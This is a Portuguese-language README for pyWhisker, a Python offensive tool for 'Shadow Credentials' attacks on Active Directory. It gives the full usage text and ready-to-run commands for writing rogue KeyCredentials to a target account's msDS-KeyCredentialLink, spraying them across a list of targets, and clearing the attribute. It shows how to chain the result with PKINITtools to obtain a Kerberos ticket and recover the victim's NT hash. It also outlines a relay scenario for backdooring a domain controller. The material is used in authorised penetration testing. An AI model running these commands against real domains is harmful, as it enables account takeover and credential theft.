
Versão em Python da ferramenta C# para ataques de "Shadow Credentials"
pyWhisker é um equivalente em Python do Whisker original, criado por Elad Shamir e escrito em C#. Esta ferramenta permite que os usuários manipulem o atributo msDS-KeyCredentialLink de um usuário/computador alvo para obter controle total sobre esse objeto.
Baseia-se no Impacket e em um equivalente em Python do DSInternals de Michael Grafnetter, chamado PyDSInternals, criado por podalirius.
Esta ferramenta, juntamente com o PKINITtools de Dirk-jan, permite uma exploração completa da primitiva em sistemas baseados apenas em UNIX.
Pré-requisitos para este ataque são os seguintes:
msDs-KeyCredentialLink da conta de usuário ou computador alvo.Por que alguns pré-requisitos?
AS_REQ <-> AS_REP.Um KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP será gerado se o pré-requisito 3 não for atendido.
Mais informações sobre esta primitiva "Shadow Credentials":
pyWhisker pode ser usado para executar várias ações no atributo msDs-KeyCredentialLink de um alvo:
msDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLink em JSONmsDs-KeyCredentialLink com KeyCredentials de um arquivo JSONpyWhisker suporta as seguintes autenticações:
Entre outras coisas, pyWhisker suporta verbosidade em vários níveis, basta adicionar -v, -vv, ... ao comando :)
pyWhisker também pode fazer entre domínios, veja o argumento -td/--target-domain.
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
[--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
[-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
optional arguments:
-h, --help show this help message and exit
-t TARGET_SAMNAME, --target TARGET_SAMNAME
Target account
-tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
Path to a file with target accounts names (one per line)
-a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
Action to operate on msDS-KeyCredentialLink
--use-ldaps Use LDAPS instead of LDAP
--use-schannel Use LDAP Schannel (TLS) for certificate-based authentication
-v, --verbose verbosity level (-v for verbose, -vv for debug)
-q, --quiet show no information at all
authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
-crt, --certfile CERTFILE
Path to the user certificate (PEM format) for Schannel authentication
-key, --keyfile KEYFILE
Path to the user private key (PEM format) for Schannel authentication
-td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
Target domain (if different than the domain of the authenticating user)
--no-pass don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
arguments when setting -action to add:
-P PFX_PASSWORD, --pfx-password PFX_PASSWORD
password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
-f FILENAME, --filename FILENAME
filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
-e {PEM,PFX}, --export {PEM,PFX}
choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))
arguments when setting -action to remove:
-D DEVICE_ID, --device-id DEVICE_ID
device ID of the KeyCredentialLink to remove when setting -action to remove
Abaixo estão exemplos e capturas de tela do que pyWhisker pode fazer.
pyWhisker tem a capacidade de listar as KeyCredentials existentes. Além disso, pode desdobrar toda a estrutura para mostrar cada informação que o objeto contém (incluindo os parâmetros da chave pública RSA).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

pyWhisker tem a capacidade de remover valores específicos ou limpar todo o atributo.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

pyWhisker tem a capacidade de gerar chaves RSA, um certificado X509, uma estrutura KeyCredential e escrever as informações necessárias como novos valores do atributo msDs-KeyCredentialLink. O certificado pode ser exportado no formato PFX (#PKCS12, certificado + chave privada protegidos por senha) ou no formato PEM (certificado PEM, chave privada PEM, sem necessidade de senha).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

Uma vez que os valores são gerados e adicionados pelo pyWhisker, um TGT pode ser solicitado com gettgtpkinit.py. O hash NT pode então ser recuperado com getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

Uma vez que os valores são gerados e adicionados pelo pyWhisker, um TGT pode ser solicitado com gettgtpkinit.py. O hash NT pode então ser recuperado com getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

pyWhisker pode encadear múltiplas adições de KeyCredentials a um conjunto de alvos, ou seja, pulverizar (spray) (se as credenciais usadas tiverem as permissões corretas).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
As KeyCredentials armazenadas no atributo msDs-KeyCredentialLink podem ser analisadas, estruturadas e salvas como JSON.

A exportação JSON pode então ser usada para restaurar o atributo msDs-KeyCredentialLink no estado em que estava no momento da exportação.

Um Pull Request foi mesclado no ntlmrelayx para incluir o recurso de "adição" do pyWhisker.

Objetos de usuário não podem editar seu próprio atributo msDS-KeyCredentialLink. No entanto, objetos de computador podem. Isso significa que o seguinte cenário poderia funcionar: disparar uma autenticação NTLM do DC01, retransmiti-la para o DC02, fazer o pyWhisker editar o atributo do DC01 para criar uma backdoor de pré-autenticação Kerberos PKINIT nele.

Objetos de computador podem editar seu próprio atributo msDS-KeyCredentialLink, mas só podem adicionar uma KeyCredential se nenhuma já existir.

Se você encontrar erros, certifique-se de que não há diferença de horário entre seu host atacante e o Centro de Distribuição de Chaves (geralmente o Controlador de Domínio). Para evitar esse erro, os certificados gerados pela ferramenta pyWhisker são válidos 40 anos antes da data atual e 40 anos depois.
Créditos a Dirk-jan por seu trabalho no PKINITtools. Inicialmente planejávamos refatorar os scripts do Impacket (especialmente gettgt.py) para implementar pré-autenticação PKINIT assimétrica para Kerberos. Ele nos poupou de enormes dores de cabeça ao escrevê-lo antes de nós!
Créditos a toda a equipe por trás do Impacket e seus contribuidores.
Créditos a Elad Shamir que criou a ferramenta original em C# (Whisker) e a Michael Grafnetter que fez o DSInternals, uma biblioteca que faz a maior parte do trabalho pesado do Whisker. Ele também foi quem fez a demonstração original no Black Hat apresentando a primitiva de ataque.